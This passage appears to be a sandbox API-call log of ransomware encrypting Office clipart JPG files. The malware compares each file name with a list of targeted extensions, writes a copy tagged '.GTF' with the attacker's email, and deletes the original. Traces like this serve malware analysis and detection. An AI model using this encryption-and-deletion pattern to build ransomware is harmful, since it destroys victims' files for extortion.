	[0173.879] lstrcmpiW (lpString1=".JPG", lpString2=".GTF") returned 1
	[0173.879] lstrlenW (lpString="J0145707.JPG") returned 12
	[0173.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145707.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0173.881] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=36820) returned 1
	[0173.881] CloseHandle (hObject=0x374) returned 1
	[0173.881] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145707.jpg")) returned 0x220
	[0173.881] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145707.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0173.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145707.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0173.882] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.882] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145707.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c
	[0173.883] GetLastError () returned 0x0
	[0173.883] ReadFile (in: hFile=0x374, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x8fd4, lpOverlapped=0x0) returned 1
	[0173.928] WriteFile (in: hFile=0x57c, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x8fe0, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x8fe0, lpOverlapped=0x0) returned 1
	[0174.102] ReadFile (in: hFile=0x374, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.102] WriteFile (in: hFile=0x57c, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0174.102] SetEndOfFile (hFile=0x57c) returned 1
	[0174.102] CloseHandle (hObject=0x57c) returned 1
	[0174.102] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.103] SetEndOfFile (hFile=0x374) returned 1
	[0174.196] CloseHandle (hObject=0x374) returned 1
	[0174.197] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0174.197] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145707.jpg")) returned 1
	[0174.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68
	[0174.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68
	[0174.198] lstrlenW (lpString=".doc") returned 4
	[0174.198] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0174.198] lstrlenW (lpString=".docx") returned 5
	[0174.198] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1
	[0174.198] lstrlenW (lpString=".pdf") returned 4
	[0174.198] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0174.198] lstrlenW (lpString=".xls") returned 4
	[0174.198] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0174.198] lstrlenW (lpString=".xlsx") returned 5
	[0174.198] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1
	[0174.198] lstrlenW (lpString=".ppt") returned 4
	[0174.198] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0174.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68
	[0174.198] lstrlenW (lpString=".zip") returned 4
	[0174.198] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0174.198] lstrlenW (lpString=".rar") returned 4
	[0174.198] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0174.198] lstrlenW (lpString=".bz2") returned 4
	[0174.198] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0174.198] lstrlenW (lpString=".7z") returned 3
	[0174.198] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0174.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68
	[0174.198] lstrlenW (lpString=".dbf") returned 4
	[0174.199] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0174.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68
	[0174.199] lstrlenW (lpString=".1cd") returned 4
	[0174.199] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0174.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68
	[0174.199] lstrlenW (lpString=".jpg") returned 4
	[0174.199] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0174.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68
	[0174.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68
	[0174.199] lstrlenW (lpString=".doc") returned 4
	[0174.199] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0174.199] lstrlenW (lpString=".docx") returned 5
	[0174.199] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1
	[0174.199] lstrlenW (lpString=".pdf") returned 4
	[0174.199] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0174.199] lstrlenW (lpString=".xls") returned 4
	[0174.199] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0174.199] lstrlenW (lpString=".xlsx") returned 5
	[0174.199] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1
	[0174.199] lstrlenW (lpString=".ppt") returned 4
	[0174.199] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0174.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68
	[0174.199] lstrlenW (lpString=".zip") returned 4
	[0174.199] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0174.199] lstrlenW (lpString=".rar") returned 4
	[0174.199] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0174.199] lstrlenW (lpString=".bz2") returned 4
	[0174.199] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0174.199] lstrlenW (lpString=".7z") returned 3
	[0174.199] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0174.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68
	[0174.199] lstrlenW (lpString=".dbf") returned 4
	[0174.200] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0174.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68
	[0174.200] lstrlenW (lpString=".1cd") returned 4
	[0174.200] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0174.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145707.JPG") returned 68
	[0174.200] lstrlenW (lpString=".jpg") returned 4
	[0174.200] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0174.200] lstrcmpiW (lpString1=".JPG", lpString2=".GTF") returned 1
	[0174.200] lstrlenW (lpString="J0145904.JPG") returned 12
	[0174.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145904.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0174.201] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=39542) returned 1
	[0174.201] CloseHandle (hObject=0x374) returned 1
	[0174.201] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145904.jpg")) returned 0x220
	[0174.201] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145904.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0174.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145904.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0174.202] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.202] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145904.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0174.203] GetLastError () returned 0x0
	[0174.203] ReadFile (in: hFile=0x374, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x9a76, lpOverlapped=0x0) returned 1
	[0174.311] WriteFile (in: hFile=0x540, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x9a80, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x9a80, lpOverlapped=0x0) returned 1
	[0174.312] ReadFile (in: hFile=0x374, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.312] WriteFile (in: hFile=0x540, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0174.312] SetEndOfFile (hFile=0x540) returned 1
	[0174.312] CloseHandle (hObject=0x540) returned 1
	[0174.313] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.313] SetEndOfFile (hFile=0x374) returned 1
	[0174.316] CloseHandle (hObject=0x374) returned 1
	[0174.316] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0174.449] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145904.jpg")) returned 1
	[0174.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68
	[0174.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68
	[0174.540] lstrlenW (lpString=".doc") returned 4
	[0174.540] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0174.540] lstrlenW (lpString=".docx") returned 5
	[0174.540] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1
	[0174.540] lstrlenW (lpString=".pdf") returned 4
	[0174.540] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0174.540] lstrlenW (lpString=".xls") returned 4
	[0174.540] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0174.540] lstrlenW (lpString=".xlsx") returned 5
	[0174.540] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1
	[0174.540] lstrlenW (lpString=".ppt") returned 4
	[0174.541] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0174.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68
	[0174.541] lstrlenW (lpString=".zip") returned 4
	[0174.541] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0174.541] lstrlenW (lpString=".rar") returned 4
	[0174.541] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0174.541] lstrlenW (lpString=".bz2") returned 4
	[0174.541] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0174.541] lstrlenW (lpString=".7z") returned 3
	[0174.541] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0174.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68
	[0174.541] lstrlenW (lpString=".dbf") returned 4
	[0174.541] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0174.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68
	[0174.541] lstrlenW (lpString=".1cd") returned 4
	[0174.541] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0174.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68
	[0174.541] lstrlenW (lpString=".jpg") returned 4
	[0174.541] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0174.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68
	[0174.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68
	[0174.541] lstrlenW (lpString=".doc") returned 4
	[0174.541] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0174.541] lstrlenW (lpString=".docx") returned 5
	[0174.541] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1
	[0174.541] lstrlenW (lpString=".pdf") returned 4
	[0174.541] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0174.541] lstrlenW (lpString=".xls") returned 4
	[0174.542] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0174.542] lstrlenW (lpString=".xlsx") returned 5
	[0174.542] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1
	[0174.542] lstrlenW (lpString=".ppt") returned 4
	[0174.542] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0174.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68
	[0174.542] lstrlenW (lpString=".zip") returned 4
	[0174.542] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0174.542] lstrlenW (lpString=".rar") returned 4
	[0174.542] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0174.542] lstrlenW (lpString=".bz2") returned 4
	[0174.542] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0174.542] lstrlenW (lpString=".7z") returned 3
	[0174.542] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0174.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68
	[0174.542] lstrlenW (lpString=".dbf") returned 4
	[0174.542] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0174.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68
	[0174.542] lstrlenW (lpString=".1cd") returned 4
	[0174.542] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0174.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG") returned 68
	[0174.542] lstrlenW (lpString=".jpg") returned 4
	[0174.542] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0174.542] lstrcmpiW (lpString1=".JPG", lpString2=".GTF") returned 1
	[0174.543] lstrlenW (lpString="J0149018.JPG") returned 12
	[0174.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149018.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0174.645] GetFileSizeEx (in: hFile=0x428, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=27393) returned 1
	[0174.645] CloseHandle (hObject=0x428) returned 1
	[0174.645] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149018.jpg")) returned 0x220
	[0174.645] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149018.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0174.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149018.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0174.645] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.646] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149018.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0174.692] GetLastError () returned 0x0
	[0174.692] ReadFile (in: hFile=0x428, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x6b01, lpOverlapped=0x0) returned 1
	[0174.779] WriteFile (in: hFile=0x3dc, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x6b10, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x6b10, lpOverlapped=0x0) returned 1
	[0174.780] ReadFile (in: hFile=0x428, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0174.780] WriteFile (in: hFile=0x3dc, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0174.781] SetEndOfFile (hFile=0x3dc) returned 1
	[0174.781] CloseHandle (hObject=0x3dc) returned 1
	[0174.781] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0174.781] SetEndOfFile (hFile=0x428) returned 1
	[0174.784] CloseHandle (hObject=0x428) returned 1
	[0174.785] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0174.785] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149018.jpg")) returned 1
	[0174.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68
	[0174.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68
	[0174.788] lstrlenW (lpString=".doc") returned 4
	[0174.788] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0174.788] lstrlenW (lpString=".docx") returned 5
	[0174.788] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1
	[0174.788] lstrlenW (lpString=".pdf") returned 4
	[0174.788] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0174.788] lstrlenW (lpString=".xls") returned 4
	[0174.788] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0174.788] lstrlenW (lpString=".xlsx") returned 5
	[0174.788] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1
	[0174.788] lstrlenW (lpString=".ppt") returned 4
	[0174.788] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0174.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68
	[0174.788] lstrlenW (lpString=".zip") returned 4
	[0174.788] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0174.788] lstrlenW (lpString=".rar") returned 4
	[0174.788] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0174.788] lstrlenW (lpString=".bz2") returned 4
	[0174.788] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0174.788] lstrlenW (lpString=".7z") returned 3
	[0174.788] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0174.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68
	[0174.788] lstrlenW (lpString=".dbf") returned 4
	[0174.788] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0174.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68
	[0174.788] lstrlenW (lpString=".1cd") returned 4
	[0174.788] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0174.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68
	[0174.788] lstrlenW (lpString=".jpg") returned 4
	[0174.789] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0174.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68
	[0174.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68
	[0174.789] lstrlenW (lpString=".doc") returned 4
	[0174.789] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0174.789] lstrlenW (lpString=".docx") returned 5
	[0174.789] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1
	[0174.789] lstrlenW (lpString=".pdf") returned 4
	[0174.789] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0174.789] lstrlenW (lpString=".xls") returned 4
	[0174.789] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0174.789] lstrlenW (lpString=".xlsx") returned 5
	[0174.789] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1
	[0174.789] lstrlenW (lpString=".ppt") returned 4
	[0174.789] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0174.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68
	[0174.789] lstrlenW (lpString=".zip") returned 4
	[0174.789] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0174.789] lstrlenW (lpString=".rar") returned 4
	[0174.789] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0174.789] lstrlenW (lpString=".bz2") returned 4
	[0174.789] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0174.789] lstrlenW (lpString=".7z") returned 3
	[0174.789] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0174.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68
	[0174.789] lstrlenW (lpString=".dbf") returned 4
	[0174.789] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0174.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68
	[0174.789] lstrlenW (lpString=".1cd") returned 4
	[0174.789] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0174.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68
	[0174.789] lstrlenW (lpString=".jpg") returned 4
